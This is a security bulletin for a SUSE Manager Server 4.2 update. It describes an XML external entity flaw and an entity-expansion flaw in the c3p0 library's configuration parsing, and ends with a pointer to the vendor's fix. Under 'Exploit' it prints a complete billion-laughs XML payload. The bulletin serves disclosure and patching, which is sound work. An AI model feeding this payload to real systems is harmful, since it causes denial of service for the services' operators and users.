SB2022042586 - SUSE update for SUSE Manager Server 4.2 

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SB2022042586 - SUSE update for SUSE Manager Server 4.2

Published: April 25, 2022

Security Bulletin ID SB2022042586
Severity
Medium
Patch available
YES
Number of vulnerabilities 2
Exploitation vector Remote access
Highest impact Denial of service

Breakdown by Severity

Medium 100%
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Description

This security bulletin contains information about 2 secuirty vulnerabilities.


1) XML External Entity injection (CVE-ID: CVE-2018-20433)

The vulnerability allows a remote attacker to gain access to sensitive information.

The vulnerability exists due to insufficient validation of user-supplied XML input within the extractXmlConfigFromInputStream() method in com/mchange/v2/c3p0/cfg/C3P0ConfigXmlUtils.java file during initialization. A remote attacker can pass a specially crafted XML code to the affected application and view contents of arbitrary files on the system or initiate requests to external systems.

Successful exploitation of the vulnerability may allow an attacker to view contents of arbitrary file on the server or perform network scanning of internal and external infrastructure.


2) Input validation error (CVE-ID: CVE-2019-5427)

The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.

The vulnerability exists due to insufficient validation of user-supplied input when processing XML files within the c3p0/src/java/com/mchange/v2/c3p0/cfg/C3P0ConfigXmlUtils.java. A remote attacker can create a specially crafted XML file, pass it to the affected application and trigger recursive entity expansion when loading configuration. This results in denial of service (DoS) attack aka billion laughs attack.

Exploit: 

<?xml version="1.0"?>
<!DOCTYPE lolz [
        <!ENTITY lol "lol">
        <!ELEMENT lolz (#PCDATA)>
        <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
        <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
        <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
        <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
        <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
        <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
        <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
        <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
        <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
        ]>
<lolz>&lol9;</lolz>


Remediation

Install update from vendor's website.

References